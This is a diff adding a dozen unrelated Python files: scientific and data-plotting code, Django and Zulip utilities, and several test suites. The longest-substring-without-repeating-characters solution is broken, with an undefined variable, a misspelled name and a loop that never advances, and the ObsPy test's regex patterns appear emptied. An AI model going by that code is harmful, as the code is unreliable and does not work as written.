str(tmpdir) + file_1 = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath( + inspect.getfile(inspect.currentframe())))), "data", "ExampleProject", + "EVENTS", "GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11.xml") + file_2 = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath( + inspect.getfile(inspect.currentframe())))), "data", "ExampleProject", + "EVENTS", "GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15.xml") + cat = obspy.read_events(file_1) + cat += obspy.read_events(file_2) + + # Modify it to trigger all problems. + temp = io.BytesIO() + cat.write(temp, format="quakeml") + temp.seek(0, 0) + temp = temp.read() + pattern = re.compile(r".*?", re.DOTALL) + temp = re.sub(pattern, "", temp) + temp = re.sub(r".*?", "", temp) + with open(os.path.join(tmpdir, "random.xml"), "wb") as fh: + fh.write(temp) + + comm = Communicator() + comm.project = mock.MagicMock() + comm.project.read_only_caches = False + comm.project.paths = {"cache": tmpdir, "root": tmpdir} + EventsComponent(tmpdir, comm, "events") + + event = comm.events.get('random') + assert "QuakeML file must have exactly one event." in str( + recwarn.pop(LASIFWarning).message) + assert "contains no depth" in str(recwarn.pop(LASIFWarning).message) + assert "Magnitude has no specified type" in str( + recwarn.pop(LASIFWarning).message) + + # Assert the default values it will then take. + assert event["depth_in_km"] == 0.0 + assert event["magnitude_type"] == "Mw" diff --git a/pool/shard008/Python/0076184_3_LogestSubstringWithoutRepeatingCharacters.py b/pool/shard008/Python/0076184_3_LogestSubstringWithoutRepeatingCharacters.py new file mode 100644 index 0000000000000000000000000000000000000000..ab664ffb4e74ece68d0a09959992a67ef3bc9622 --- /dev/null +++ b/pool/shard008/Python/0076184_3_LogestSubstringWithoutRepeatingCharacters.py @@ -0,0 +1,24 @@ +class Solution: + # @param {string} s + # @return {integer} + def lengthOfLongestSubstring(self, s): + maxLength = 0 + start = 0 + substring = {} + idx = 0 + while idx < len(s): + if s[i] not in substring: + substrings[i] = idx + else: + maxLength = max(i - start, maxLength) + start = i + substring = set(s[i]) + print start, maxLength + return max(len(s) - start, maxLength) + + +if __name__ == "__main__": + sol = Solution() +# print sol.lengthOfLongestSubstring("c") +# print sol.lengthOfLongestSubstring("abcabcbb") + print sol.lengthOfLongestSubstring("dvdf") diff --git a/pool/shard008/Python/0076185_timezone.py b/pool/shard008/Python/0076185_timezone.py new file mode 100644 index 0000000000000000000000000000000000000000..6d49fbcbb3e858d3b5f819901d02e3a772b4a9ce --- /dev/null +++ b/pool/shard008/Python/0076185_timezone.py @@ -0,0 +1,172 @@ +# -*- coding: utf-8 -*- +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +import datetime as dt +import pendulum + +from airflow.settings import TIMEZONE + + +# UTC time zone as a tzinfo instance. +utc = pendulum.timezone('UTC') + + +def is_localized(value): + """ + Determine if a given datetime.datetime is aware. + The concept is defined in Python's docs: + http://docs.python.org/library/datetime.html#datetime.tzinfo + Assuming value.tzinfo is either None or a proper datetime.tzinfo, + value.utcoffset() implements the appropriate logic. + """ + return value.utcoffset() is not None + + +def is_naive(value): + """ + Determine if a given datetime.datetime is naive. + The concept is defined in Python's docs: + http://docs.python.org/library/datetime.html#datetime.tzinfo + Assuming value.tzinfo is either None or a proper datetime.tzinfo, + value.utcoffset() implements the appropriate logic. + """ + return value.utcoffset() is None + + +def utcnow(): + """ + Get the current date and time in UTC + :return: + """ + + # pendulum utcnow() is not used as that sets a TimezoneInfo object + # instead of a Timezone. This is not pickable and also creates issues + # when using replace() + d = dt.datetime.utcnow() + d = d.replace(tzinfo=utc) + + return d + + +def utc_epoch(): + """ + Gets the epoch in the users timezone + :return: + """ + + # pendulum utcnow() is not used as that sets a TimezoneInfo object + # instead of a Timezone. This is not pickable and also creates issues + # when using replace() + d = dt.datetime(1970, 1, 1) + d = d.replace(tzinfo=utc) + + return d + + +def convert_to_utc(value): + """ + Returns the datetime with the default timezone added if timezone + information was not associated + :param value: datetime + :return: datetime with tzinfo + """ + if not value: + return value + + if not is_localized(value): + value = pendulum.instance(value, TIMEZONE) + + return value.astimezone(utc) + + +def make_aware(value, timezone=None): + """ + Make a naive datetime.datetime in a given time zone aware. + + :param value: datetime + :param timezone: timezone + :return: localized datetime in settings.TIMEZONE or timezone + + """ + if timezone is None: + timezone = TIMEZONE + + # Check that we won't overwrite the timezone of an aware datetime. + if is_localized(value): + raise ValueError( + "make_aware expects a naive datetime, got %s" % value) + + if hasattr(timezone, 'localize'): + # This method is available for pytz time zones. + return timezone.localize(value) + elif hasattr(timezone, 'convert'): + # For pendulum + return timezone.convert(value) + else: + # This may be wrong around DST changes! + return value.replace(tzinfo=timezone) + + +def make_naive(value, timezone=None): + """ + Make an aware datetime.datetime naive in a given time zone. + + :param value: datetime + :param timezone: timezone + :return: naive datetime + """ + if timezone is None: + timezone = TIMEZONE + + # Emulate the behavior of astimezone() on Python < 3.6. + if is_naive(value): + raise ValueError("make_naive() cannot be applied to a naive datetime") + + o = value.astimezone(timezone) + + # cross library compatibility + naive = dt.datetime(o.year, + o.month, + o.day, + o.hour, + o.minute, + o.second, + o.microsecond) + + return naive + + +def datetime(*args, **kwargs): + """ + Wrapper around datetime.datetime that adds settings.TIMEZONE if tzinfo not specified + + :return: datetime.datetime + """ + if 'tzinfo' not in kwargs: + kwargs['tzinfo'] = TIMEZONE + + return dt.datetime(*args, **kwargs) + + +def parse(string): + """ + Parse a time string and return an aware datetime + :param string: time string + """ + return pendulum.parse(string, tz=TIMEZONE) diff --git a/pool/shard008/Python/0076186_connectome.py b/pool/shard008/Python/0076186_connectome.py new file mode 100644 index 0000000000000000000000000000000000000000..7baf5d4f6f43bd62b4dbccf235895d6fd59181a4 --- /dev/null +++ b/pool/shard008/Python/0076186_connectome.py @@ -0,0 +1,126 @@ +""" +Wrapper over nilearn to visualise brain connectome +""" +import colorsys +import sys + +import matplotlib.pyplot as plt +import networkx as nx +import numpy as np +from nilearn import plotting + +from maybrain import constants as ct + + +def plot_connectome(brain, + only_nodes=False, + node_property=None, + node_attributes=None, + node_size_property=None, + node_size_min=5, + node_size_max=150, + **kwargs): + """ + Wrapper over `nilearn.plotting.plot_connectome` to plot the connectome of a brain + (specifically `brain.G`). + + Brain's nodes should have `constants.XYZ` attribute (spatial information) in the MNI space. + + Parameters + ---------- + brain: maybrain.brain.Brain + An instance of the `Brain` class + only_nodes: bool + If True, only nodes will be plotted (no edges) + node_property: str + Property to look for in the nodes of brain.G in order to have different colours + for the nodes. Colours will be chosen depending on the values of those properties defined + in `node_attributes`. When defined, `node_color` attribute in + `nilearn.plotting.plot_connectome` is overridden. + node_attributes: list of str + It indicates how the nodes will be coloured according to `node_property`. For example, + if `node_property` is "hemisphere", and `node_attributes` is ["R", "L"], nodes will be + coloured with three colours: one when a node has the value "R" for the "hemisphere" + attribute, another colour when the value is "L", and another colour if the node has a value + which is not "L" or "R". + node_size_property: str + Property to look for in the nodes of brain.G in order to have different sizes + for the nodes. Sizes will be calculated based on the values for each node, scaled for + [node_size_min, node_size_max]. When defined, `node_size` attribute in + `nilearn.plotting.plot_connectome` is overridden. + node_size_min: int + The smallest node size. The node with the smallest value of property + `node_node_size_property` will have this size + node_size_max: int + The biggest node size. The node with the biggest value of property + `node_node_size_property` will have this size + kwargs + Keyword arguments if you need to pass them to nilearn's plot_connectome() + + Returns + ------- + display + the display from nilearn (return from nilearn's plot_connectome()) + + Raises + ------ + KeyError: Exception + If the edges don't have constants.XYZ property + """ + try: + if list(brain.G.nodes(data=True))[0][1][ct.XYZ]: + pass + except KeyError as error: + _, _, tbb = sys.exc_info() + raise KeyError(error, "Node doesn't have constants.XYZ property").with_traceback(tbb) + + # Some values to get better plots than nilearn's defaults + if 'edge_cmap' not in kwargs: + kwargs['edge_cmap'] = plt.get_cmap('YlGnBu') + if 'node_color' not in kwargs: + kwargs['node_color'] = 'red' + + connection_matrix = np.copy(nx.to_numpy_matrix(brain.G, nonedge=0)) + if only_nodes: + connection_matrix[:] = 0 + + # If node_property is defined, let's create the custom colours + if node_property: + palette = [] + + # Creating a palette of colours based on the amount of + for i in range(len(node_attributes) + 1): # +1 to account for "other" regions + rgb = colorsys.hsv_to_rgb(i / (len(node_attributes) + 1), 1.0, 1.0) + palette.append('#%02x%02x%02x' % tuple([(round(255 * x)) for x in rgb])) + + # Defining the colour for each node according to the attribute it has + colours = [] + for n in brain.G.nodes(data=True): + we_r = np.where(np.array(node_attributes) == n[1][node_property]) + if we_r[0].size > 0: + colours.append(palette[we_r[0][0]]) + else: + colours.append(palette[-1]) # not found, so another colour + + kwargs['node_color'] = colours + + # If node_size_property is defined, let's define the size of each node + if node_size_property: + node_vals = [n[1][node_size_property] for n in brain.G.nodes(data=True)] + old_min = np.min(node_vals) + old_max = np.max(node_vals) + + if old_min != old_max: + kwargs['node_size'] = [] + for n in brain.G.nodes(data=True): + val = n[1][node_size_property] + new_val = ((val - old_min) / (old_max - old_min)) \ + * (node_size_max - node_size_min) \ + + node_size_min + kwargs['node_size'].append(new_val) + else: + kwargs['node_size'] = node_size_min + + return plotting.plot_connectome(connection_matrix, + list(dict(brain.G.nodes(data=ct.XYZ)).values()), + **kwargs) diff --git a/pool/shard008/Python/0076193_add_users_to_streams.py b/pool/shard008/Python/0076193_add_users_to_streams.py new file mode 100644 index 0000000000000000000000000000000000000000..c27e090f6c8897ba788502aea42e42c32ea5d697 --- /dev/null +++ b/pool/shard008/Python/0076193_add_users_to_streams.py @@ -0,0 +1,63 @@ +from __future__ import absolute_import +from __future__ import print_function + +from typing import Any + +from django.core.management.base import CommandParser + +from zerver.lib.actions import create_stream_if_needed, bulk_add_subscriptions +from zerver.lib.management import ZulipBaseCommand +from zerver.models import UserProfile + +class Command(ZulipBaseCommand): + help = """Add some or all users in a realm to a set of streams.""" + + def add_arguments(self, parser): + # type: (CommandParser) -> None + self.add_realm_args(parser) + + parser.add_argument( + '-s', '--streams', + dest='streams', + type=str, + help='A comma-separated list of stream names.') + + parser.add_argument( + '-u', '--users', + dest='users', + type=str, + help='A comma-separated list of email addresses.') + + parser.add_argument( + '-a', '--all-users', + dest='all_users', + action="store_true", + default=False, + help='Add all users in this realm to these streams.') + + def handle(self, **options): + # type: (**Any) -> None + if options["streams"] is None or \ + (options["users"] is None and not options["all_users"]): + self.print_help("./manage.py", "add_users_to_streams") + exit(1) + + stream_names = set([stream.strip() for stream in options["streams"].split(",")]) + realm = self.get_realm(options) + + if options["all_users"]: + user_profiles = UserProfile.objects.filter(realm=realm) + else: + emails = set([email.strip() for email in options["users"].split(",")]) + user_profiles = [] + for email in emails: + user_profiles.append(self.get_user(email, realm)) + + for stream_name in set(stream_names): + for user_profile in user_profiles: + stream, _ = create_stream_if_needed(user_profile.realm, stream_name) + _ignore, already_subscribed = bulk_add_subscriptions([stream], [user_profile]) + was_there_already = user_profile.id in {tup[0].id for tup in already_subscribed} + print("%s %s to %s" % ( + "Already subscribed" if was_there_already else "Subscribed", + user_profile.email, stream_name)) diff --git a/pool/shard008/Python/0076194_test_util.py b/pool/shard008/Python/0076194_test_util.py new file mode 100644 index 0000000000000000000000000000000000000000..e83bec1e99366ba0e35a9b75740c556928a495cb --- /dev/null +++ b/pool/shard008/Python/0076194_test_util.py @@ -0,0 +1,185 @@ +import json +import mock +import unittest + +from django.http import HttpResponse, HttpResponseNotFound + +from pulp.server.exceptions import InputEncodingError, PulpCodedValidationException +from pulp.server.webservices.controllers.base import json_encoder as pulp_json_encoder +from pulp.server.webservices.views import util +from pulp.server.webservices.views.util import (json_body_allow_empty, + json_body_required) + + +class TestResponseGenerators(unittest.TestCase): + """ + Test webservices utilities. + """ + + def test_generate_json_response_default_params(self): + """ + Make sure that the response is correct under normal conditions. + """ + test_content = {'foo': 'bar'} + response = util.generate_json_response(test_content) + self.assertTrue(isinstance(response, HttpResponse)) + self.assertEqual(response.status_code, 200) + self.assertEqual(response._headers.get('content-type'), + ('Content-Type', 'application/json')) + response_content = json.loads(response.content) + self.assertEqual(response_content, test_content) + + def test_generate_json_response_not_found(self): + """ + Test that response is correct for non-base HttpResponses + """ + response = util.generate_json_response(None, HttpResponseNotFound) + self.assertTrue(isinstance(response, HttpResponseNotFound)) + self.assertEqual(response.status_code, 404) + self.assertEqual(response._headers.get('content-type'), + ('Content-Type', 'application/json')) + + def test_generate_json_response_invalid_response_class(self): + """ + Test that an invalid response_class raises a TypeError. + """ + + class FakeResponse(): + pass + + self.assertRaises(TypeError, util.generate_json_response, FakeResponse) + + @mock.patch('pulp.server.webservices.views.util.json') + def test_generate_json_response_with_pulp_encoder(self, mock_json): + """ + Ensure that the shortcut function uses the specified encoder. + """ + test_content = {'foo': 'bar'} + util.generate_json_response_with_pulp_encoder(test_content) + mock_json.dumps.assert_called_once_with(test_content, default=pulp_json_encoder) + + @mock.patch('pulp.server.webservices.views.util.iri_to_uri') + def test_generate_redirect_response(self, mock_iri_to_uri): + """ + Test HttpResponseRedirect. + """ + test_content = {'foo': 'bar'} + href = '/some/url/' + response = HttpResponse(content=test_content) + redirect_response = util.generate_redirect_response(response, href) + self.assertEqual(redirect_response.status_code, 201) + self.assertEqual(redirect_response.reason_phrase, 'CREATED') + self.assertEqual(redirect_response._headers['location'][1], + str(mock_iri_to_uri.return_value)) + mock_iri_to_uri.assert_called_once_with(href) + + +class TestMustHaveJSONBody(unittest.TestCase): + + def test_json_body_required_valid(self): + mock_request = mock.MagicMock() + mock_request.body = '{"Valid": "JSON"}' + + @json_body_required + def mock_function(self, request): + return request + + final_request = mock_function(self, mock_request) + self.assertEqual(final_request.body_as_json, {"Valid": "JSON"}) + + def test_json_body_required_invalid(self): + mock_request = mock.MagicMock() + mock_request.body = '{"Invalid": "JSON"' + + @json_body_required + def mock_function(self, request): + return request + + try: + mock_function(self, mock_request) + except PulpCodedValidationException, response: + pass + else: + raise AssertionError('PulpCodedValidationException shoudl be raised if invalid JSON' + ' is passed.') + + self.assertEqual(response.http_status_code, 400) + self.assertEqual(response.error_code.code, 'PLP1009') + + def test_json_body_required_empty(self): + mock_request = mock.MagicMock() + mock_request.body = '' + + @json_body_required + def mock_function(self, request): + return request + + try: + mock_function(self, mock_request) + except PulpCodedValidationException, response: + pass + else: + raise AssertionError('PulpCodedValidationException shoudl be raised if invalid JSON' + ' is passed.') + + self.assertEqual(response.http_status_code, 400) + self.assertEqual(response.error_code.code, 'PLP1009') + + def test_json_body_allow_empty_valid(self): + mock_request = mock.MagicMock() + mock_request.body = '{"Valid": "JSON"}' + + @json_body_required + def mock_function(self, request): + return request + + final_request = mock_function(self, mock_request) + self.assertEqual(final_request.body_as_json, {"Valid": "JSON"}) + + def test_json_body_allow_empty_no_body(self): + mock_request = mock.MagicMock() + mock_request.body = '' + + @json_body_allow_empty + def mock_function(self, request): + return request + + final_request = mock_function(self, mock_request) + self.assertEqual(final_request.body_as_json, {}) + + def test_json_body_allow_empty_invalid(self): + mock_request = mock.MagicMock() + mock_request.body = '{"Invalid": "JSON"' + + @json_body_required + def mock_function(self, request): + return request + + try: + mock_function(self, mock_request) + except PulpCodedValidationException, response: + pass + else: + raise AssertionError('PulpCodedValidationException shoudl be raised if invalid JSON' + ' is passed.') + + self.assertEqual(response.http_status_code, 400) + self.assertEqual(response.error_code.code, 'PLP1009') + + +class TestEnsureInputEncoding(unittest.TestCase): + + def test_ensure_invalid_input_encoding(self): + """ + Test invalid input encoding + """ + input_data = {"invalid": "json\x81"} + self.assertRaises(InputEncodingError, util._ensure_input_encoding, input_data) + + def test_ensure_valid_input_encoding(self): + """ + Test valid input encoding. + """ + input = {u'valid': u'json'} + response = util._ensure_input_encoding(input) + self.assertEqual(response, {'valid': 'json'}) diff --git a/pool/shard008/Python/0076199_setup.py b/pool/shard008/Python/0076199_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..59091b3a3a5d7527d271fb3ea8087400f81df1a3 --- /dev/null +++ b/pool/shard008/Python/0076199_setup.py @@ -0,0 +1,23 @@ +from setuptools import setup + +with open('README.md') as readme: + long_description = readme.read() + +setup( + name='girder-monkeybrains', + version='1.0.5', + description='Displays monkey neurodevelopmental data.', + long_description=long_description, + long_description_content_type='text/markdown', + url='https://github.com/girder/monkeybrains', + maintainer='Kitware, Inc.', + maintainer_email='kitware@kitware.com', + packages=['girder_monkeybrains'], + install_requires=['girder'], + include_package_data=True, + entry_points={ + 'girder.plugin': [ + 'monkeybrains = girder_monkeybrains:MonkeybrainsPlugin' + ] + } +) diff --git a/pool/shard008/Python/0076201_test_macros_modulations.py b/pool/shard008/Python/0076201_test_macros_modulations.py new file mode 100644 index 0000000000000000000000000000000000000000..43202469f7ba5b533d4cec993c54069914c0ddd1 --- /dev/null +++ b/pool/shard008/Python/0076201_test_macros_modulations.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright (C) 2015-2018: Alignak team, see AUTHORS.txt file for contributors +# +# This file is part of Alignak. +# +# Alignak is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Alignak is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Alignak. If not, see . +# +# +# This file incorporates work covered by the following copyright and +# permission notice: +# +# Copyright (C) 2009-2014: +# Jean Gabes, naparuba@gmail.com +# Grégory Starck, g.starck@gmail.com +# Sebastien Coavoux, s.coavoux@free.fr + +# This file is part of Shinken. +# +# Shinken is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Shinken is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Shinken. If not, see . + +# +# This file is used to test reading and processing of config files +# + +from .alignak_test import * + + +class TestMacroModulations(AlignakTest): + + def setUp(self): + super(TestMacroModulations, self).setUp() + self.setup_with_file('cfg/cfg_macros_modulation.cfg', + dispatching=True) + assert self.conf_is_correct + + def test_macros_modulation(self): + """ Test macros modulation """ + # Get the host + host = self._scheduler.hosts.find_by_name("modulated_host") + assert host is not None + assert host.macromodulations is not None + + # Get its macros modulations + mod = self._scheduler.macromodulations.find_by_name("MODULATION") + assert mod is not None + assert mod.get_name() == "MODULATION" + assert mod.is_active(self._scheduler.timeperiods) + assert mod.uuid in host.macromodulations + + mod2 = self._scheduler.macromodulations.find_by_name("MODULATION2") + assert mod2 is not None + assert mod2.get_name() == "MODULATION2" + assert mod2.is_active(self._scheduler.timeperiods) + assert mod2.uuid in host.macromodulations + + # Get the host service + svc = self._scheduler.services.find_srv_by_name_and_hostname("modulated_host", + "modulated_service") + + # Service is going CRITICAL/HARD ... this forces an host check! + assert len(host.checks_in_progress) == 0 + self.scheduler_loop(1, [[svc, 2, 'BAD']]) + self.show_checks() + assert len(host.checks_in_progress) == 1 + for c in host.checks_in_progress: + print("Check: %s / %s" % (c, self._scheduler.checks[c])) + for c in host.checks_in_progress: + # The host has a custom macro defined as UNCHANGED + # The host has 2 attached modulations impacting this macro value. + # The first one with the value MODULATED and the second with NOT_THE_GOOD. + # Both are currently active, but we want to get the first one + assert 'plugins/nothing MODULATED' == self._scheduler.checks[c].command diff --git a/pool/shard008/Python/0076208_server_backends.py b/pool/shard008/Python/0076208_server_backends.py new file mode 100644 index 0000000000000000000000000000000000000000..e7a3593c7828690adc798b557b7269f6366a9eb6 --- /dev/null +++ b/pool/shard008/Python/0076208_server_backends.py @@ -0,0 +1,120 @@ +#-*- coding: utf-8 -*- +import time +import shutil +import os +from django.core.files.uploadedfile import SimpleUploadedFile +from django.http import HttpResponseNotModified, Http404 +from django.test import TestCase +from django.utils.http import http_date +from filer import settings as filer_settings +from filer.models import File +from filer.server.backends.default import DefaultServer +from filer.server.backends.nginx import NginxXAccelRedirectServer +from filer.server.backends.xsendfile import ApacheXSendfileServer +from filer.tests.helpers import create_image +from filer.tests.utils import Mock + + +class BaseServerBackendTestCase(TestCase): + def setUp(self): + original_filename = 'testimage.jpg' + file_obj = SimpleUploadedFile( + name=original_filename, + content=create_image().tostring(), + content_type='image/jpeg') + self.filer_file = File.objects.create( + is_public=False, + file=file_obj, + original_filename=original_filename) + + def tearDown(self): + self.filer_file.delete() + +class DefaultServerTestCase(BaseServerBackendTestCase): + def test_normal(self): + server = DefaultServer() + request = Mock() + request.META = {} + response = server.serve(request, self.filer_file.file) + self.assertTrue(response.has_header('Last-Modified')) + + def test_not_modified(self): + server = DefaultServer() + request = Mock() + request.META = {'HTTP_IF_MODIFIED_SINCE': http_date(time.time())} + response = server.serve(request, self.filer_file.file) + self.assertTrue(isinstance(response, HttpResponseNotModified)) + + def test_missing_file(self): + server = DefaultServer() + request = Mock() + request.META = {} + os.remove(self.filer_file.file.path) + self.assertRaises(Http404, server.serve, *(request, self.filer_file.file)) + + +class NginxServerTestCase(BaseServerBackendTestCase): + def setUp(self): + super(NginxServerTestCase, self).setUp() + self.server = NginxXAccelRedirectServer( + location=filer_settings.FILER_PRIVATEMEDIA_STORAGE.location, + nginx_location='mylocation', + ) + + def test_normal(self): + request = Mock() + request.META = {} + response = self.server.serve(request, self.filer_file.file) + headers = dict(response.items()) + self.assertTrue(response.has_header('X-Accel-Redirect')) + self.assertTrue(headers['X-Accel-Redirect'].startswith(self.server.nginx_location)) + # make sure the file object was never opened (otherwise the whole delegating to nginx would kinda + # be useless) + self.assertTrue(self.filer_file.file.closed) + + + def test_missing_file(self): + """ + this backend should not even notice if the file is missing. + """ + request = Mock() + request.META = {} + os.remove(self.filer_file.file.path) + response = self.server.serve(request, self.filer_file.file) + headers = dict(response.items()) + self.assertTrue(response.has_header('X-Accel-Redirect')) + self.assertTrue(headers['X-Accel-Redirect'].startswith(self.server.nginx_location)) + self.assertTrue(self.filer_file.file.closed) + + +class XSendfileServerTestCase(BaseServerBackendTestCase): + def setUp(self): + super(XSendfileServerTestCase, self).setUp() + self.server = ApacheXSendfileServer() + + def test_normal(self): + request = Mock() + request.META = {} + response = self.server.serve(request, self.filer_file.file) + headers = dict(response.items()) + self.assertTrue(response.has_header('X-Sendfile')) + self.assertEqual(headers['X-Sendfile'], self.filer_file.file.path) + # make sure the file object was never opened (otherwise the whole delegating to nginx would kinda + # be useless) + self.assertTrue(self.filer_file.file.closed) + + + def test_missing_file(self): + """ + this backend should not even notice if the file is missing. + """ + request = Mock() + request.META = {} + os.remove(self.filer_file.file.path) + response = self.server.serve(request, self.filer_file.file) + headers = dict(response.items()) + self.assertTrue(response.has_header('X-Sendfile')) + self.assertEqual(headers['X-Sendfile'], self.filer_file.file.path) + # make sure the file object was never opened (otherwise the whole delegating to nginx would kinda + # be useless) + self.assertTrue(self.filer_file.file.closed) \ No newline at end of file diff --git a/pool/shard008/Python/0076215_oemedical_insurance.py b/pool/shard008/Python/0076215_oemedical_insurance.py new file mode 100644 index 0000000000000000000000000000000000000000..7071a50f8f8ddd57d61e8b03623202dd424ba172 --- /dev/null +++ b/pool/shard008/Python/0076215_oemedical_insurance.py @@ -0,0 +1,54 @@ +# -*- coding: utf-8 -*- +#/############################################################################# +# +# Tech-Receptives Solutions Pvt. Ltd. +# Copyright (C) 2004-TODAY Tech-Receptives() +# Special Credit and Thanks to Thymbra Latinoamericana S.A. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +#/############################################################################# +from osv import osv +from osv import fields + + +class OeMedicalInsurance(osv.Model): + _name = 'oemedical.insurance' + + def _get_name(self, cr, uid, ids, field_name, arg, context=None): + res = {} + for record in self.browse(cr, uid, ids, context=context): + res[record.id] = record.company.name + return res + + + _columns = { + 'name': fields.function(_get_name, type='char', string='Name', help="", multi=False), + 'company': fields.many2one('res.partner', 'Insurance Company', required=True), + 'patient_id':fields.many2one('oemedical.patient', 'Patient'), + 'plan_id': fields.many2one('oemedical.insurance.plan', string='Plan', help='Insurance company plan'), + 'insurance_type': fields.selection([ + ('state', 'State'), + ('labour_union', 'Labour Union / Syndical'), + ('private', 'Private'), + ], string='Insurance Type',select=True), + 'number': fields.char(size=256, string='Number', required=True), + 'member_since': fields.date(string='Member since'), + 'member_exp': fields.date(string='Expiration date'), + 'notes': fields.text(string='Extra Info'), + 'owner': fields.many2one('res.partner', string='Owner'), + } + +OeMedicalInsurance() +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: diff --git a/pool/shard008/Python/0076216_0001_initial.py b/pool/shard008/Python/0076216_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..b39c2da5a5c00b4c2141442996eb96a9b0c01f9f --- /dev/null +++ b/pool/shard008/Python/0076216_0001_initial.py @@ -0,0 +1,24 @@ +# Generated by Django 3.2.9 on 2021-11-25 09:40 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='TModel', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('name', models.CharField(max_length=200)), + ('for_inline', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='inline_test_models', to='select2_djhacker_formfield.tmodel')), + ('test', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='related_test_models', to='select2_djhacker_formfield.tmodel')), + ], + ), + ] diff --git a/pool/shard008/Python/0076217_plugins.py b/pool/shard008/Python/0076217_plugins.py new file mode 100644 index 0000000000000000000000000000000000000000..762f1cb45424500c92c8b9f12ef9aace478eeba5 --- /dev/null +++ b/pool/shard008/Python/0076217_plugins.py @@ -0,0 +1,127 @@ +# -*- coding: utf-8 -*- + +import os, sys +from PyQt4 import QtGui + +from Ui_conf import Ui_Dialog as ConfDialog + +if hasattr(sys, 'frozen'): + PATH = os.path.join(os.path.abspath(os.path.dirname(sys.executable)),'plugins') +else: + PATH = os.path.abspath(os.path.dirname(__file__)) + +class ConfigDialog(QtGui.QDialog): + def __init__(self, parent): + QtGui.QDialog.__init__(self, parent) + self.ui=ConfDialog() + self.ui.setupUi(self) + +class Plugin (object): + + instances = {} + settings = None + + def __init__(self, client): + '''client is the MainWindow of Marave, everything is there somewhere''' + self.client=client + self.sc=QtGui.QShortcut(QtGui.QKeySequence(self.shortcut), client) + self.sc.activated.connect(self.run) + + def run(self): + pass + + @classmethod + def addConfigWidgets(self, dialog): + '''Add whatever config widgets are needed to dialog''' + + @classmethod + def enable(self, enabled=None, client=None): + if enabled is None: return + if client is None: return + + enabledPlugins = client.settings.value('enabledplugins') + if enabledPlugins.isValid(): + enabledPlugins=unicode(enabledPlugins.toString()).split(',') + else: + enabledPlugins=[] + if self.name not in enabledPlugins and enabled: + enabledPlugins.append(self.name) + elif self.name in enabledPlugins and not enabled: + enabledPlugins.remove(self.name) + + if any(enabledPlugins): + client.pluginButton.show() + else: + client.pluginButton.hide() + client.layoutButtons() + + client.settings.setValue('enabledplugins',','.join(enabledPlugins)) + client.settings.sync() + + Plugin.instance(self, client) + + + @classmethod + def loadConfig(self): + # Override shortcut with settings + if self.settings: + sc=self.settings.value('shortcut-'+self.name+'-shortcut') + if sc.isValid(): + self.shortcut=unicode(sc.toString()) + + @classmethod + def showConfig(self, client): + self.settings=client.settings + dialog=ConfigDialog(client) + self.loadConfig() + self.addConfigWidgets(dialog) + dialog.ui.shortcut.setText(self.shortcut) + r=dialog.exec_() + if r==QtGui.QDialog.Accepted: + self.saveConfig(dialog) + + @classmethod + def saveConfig(self, dialog): + self.shortcut=unicode(dialog.ui.shortcut.text()) + if self.settings: + self.settings.setValue('plugin-'+self.name+'-shortcut', self.shortcut) + self.settings.sync() + + @classmethod + def selectorWidget(self): + w=QtGui.QWidget() + w.check=QtGui.QCheckBox(self.description) + w.conf=QtGui.QPushButton(QtGui.QIcon(os.path.join(PATH,'icons','configure.svg')),'') + l=QtGui.QHBoxLayout() + l.addWidget(w.check) + l.addStretch(10) + l.addWidget(w.conf) + w.setLayout(l) + return w + + @classmethod + def instance(self, pluginClass, client): + if pluginClass not in self.instances: + self.instances[pluginClass]=pluginClass(client) + return self.instances[pluginClass] + + + @classmethod + def initPlugins(self): + l=[] + print 'my path is '+PATH + for p in os.listdir(PATH): + if p.endswith('.py') and p != 'plugins.py': + l.append(p) + for p in l: + try: + print __import__('plugins.'+p[:-3], level=-1) + #trying plain 'plugins' first will avoid loading system-wide installed modules instead of + #those from the directory of this file + except: + if not hasattr(sys, 'frozen'): #and i have no idea about this so im keeping the check in place + print __import__('marave.plugins.'+p[:-3], level=-1) + + @classmethod + def listPlugins(self): + return Plugin.__subclasses__() diff 